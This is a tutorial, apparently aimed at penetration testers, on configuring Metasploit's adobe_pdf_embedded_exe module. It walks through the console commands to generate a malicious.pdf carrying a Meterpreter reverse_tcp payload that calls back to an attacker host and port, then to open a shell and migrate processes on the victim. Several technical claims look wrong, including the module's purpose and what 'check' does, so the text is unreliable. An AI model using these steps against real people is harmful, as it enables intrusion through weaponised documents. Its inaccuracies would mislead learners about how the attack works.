How to configure options for adobe_pdf_embedded_exe exploit module in Metasploit

Introduction

This tutorial will guide you through the process of configuring the adobe_pdf_embedded_exe exploit module in the Cybersecurity tool Metasploit. By the end of this tutorial, you will have a better understanding of how to leverage this exploit to gain access and enhance your Cybersecurity skills.

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Overview of Metasploit

Metasploit is a powerful open-source framework for developing, testing, and executing exploit code against remote target systems. It provides a comprehensive set of tools and modules that can be used to identify, exploit, and gain access to vulnerable systems.

The Metasploit framework is widely used in the cybersecurity community for a variety of purposes, including penetration testing, vulnerability assessment, and incident response. It is available for multiple operating systems, including Linux, Windows, and macOS, and can be accessed through a command-line interface (CLI) or a graphical user interface (GUI) known as Metasploit Pro.

One of the key features of Metasploit is its extensive library of pre-built exploits, which can be used to target a wide range of software vulnerabilities. These exploits are organized into different categories, such as remote code execution, privilege escalation, and denial of service, and can be easily configured and executed using the Metasploit console.

To use Metasploit, users typically start by setting up a Metasploit environment on their system. This can be done by installing the Metasploit framework, which is available for download from the official Metasploit website. Once installed, users can access the Metasploit console and begin exploring the various modules and tools available.

The Metasploit console provides a powerful command-line interface for interacting with the framework. Users can use the console to search for and select exploits, configure their payloads and options, and execute the exploit against a target system. The console also provides a range of other features, such as the ability to manage sessions, gather information about target systems, and perform post-exploitation activities.

Overall, Metasploit is a crucial tool for anyone working in the field of cybersecurity, as it provides a comprehensive and flexible platform for identifying, exploiting, and gaining access to vulnerable systems.

Configuring the adobe_pdf_embedded_exe Exploit

The adobe_pdf_embedded_exe exploit module in Metasploit is designed to target a vulnerability in Adobe Reader and Acrobat that allows for the execution of arbitrary code. This exploit can be particularly useful in scenarios where an attacker has gained access to a target system and needs to escalate their privileges or execute additional payloads.

To configure the adobe_pdf_embedded_exe exploit module, follow these steps:

Selecting the Exploit Module

1. Launch the Metasploit console by running the following command in your Ubuntu 22.04 terminal:

   msfconsole

2. In the Metasploit console, search for the adobe_pdf_embedded_exe exploit module using the following command:

   search adobe_pdf_embedded_exe

3. Select the appropriate module by running the use command, followed by the module's name:

   use exploit/windows/fileformat/adobe_pdf_embedded_exe

Configuring the Exploit Options

Once you've selected the adobe_pdf_embedded_exe exploit module, you can configure the various options to suit your needs. You can view the available options by running the show options command:

show options

This will display a table with the required and optional parameters, along with their current values. You can set the values of these parameters using the set command, for example:

set FILENAME malicious.pdf
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444

In this example, we're setting the FILENAME option to malicious.pdf, the PAYLOAD option to windows/meterpreter/reverse_tcp, the LHOST option to 192.168.1.10, and the LPORT option to 4444.

After configuring the exploit options, you can verify the settings by running the show options command again.

Validating the Exploit Configuration

Before executing the exploit, it's a good practice to validate the configuration to ensure that all the required options have been set correctly. You can do this by running the check command:

check

If the configuration is valid, the check command will indicate that the exploit is ready to be executed.

Now that you've configured the adobe_pdf_embedded_exe exploit module, you're ready to execute the exploit and gain access to the target system.

Executing the Exploit and Gaining Access

Once you've configured the adobe_pdf_embedded_exe exploit module, you can execute the exploit and attempt to gain access to the target system.

Executing the Exploit

To execute the exploit, simply run the exploit or run command in the Metasploit console:

exploit

or

run

This will initiate the exploit and attempt to execute the specified payload on the target system.

Gaining Access

If the exploit is successful, you should see output in the Metasploit console indicating that a session has been established. This session represents a connection to the target system, and you can use it to interact with the compromised system.

To interact with the established session, you can use the sessions command to list all active sessions, and then use the sessions -i <session_id> command to switch to a specific session. Once you've switched to the session, you can use Metasploit's various post-exploitation modules and commands to gather information, escalate privileges, and perform additional actions on the target system.

For example, you can use the shell command to obtain a command prompt on the target system, or the migrate command to migrate the payload to a different process, which can help to improve the stability and longevity of the session.

sessions -i 1
shell
migrate 1234

By executing the adobe_pdf_embedded_exe exploit and gaining access to the target system, you can then proceed to perform further reconnaissance, privilege escalation, and lateral movement activities as part of your overall penetration testing or security assessment.

Summary

In this Cybersecurity tutorial, you have learned how to configure the options for the adobe_pdf_embedded_exe exploit module in Metasploit. By executing the exploit and gaining access, you have expanded your knowledge and skills in the field of Cybersecurity. This tutorial provides a valuable resource for those interested in exploring the Cybersecurity landscape and leveraging Metasploit to enhance their security testing capabilities.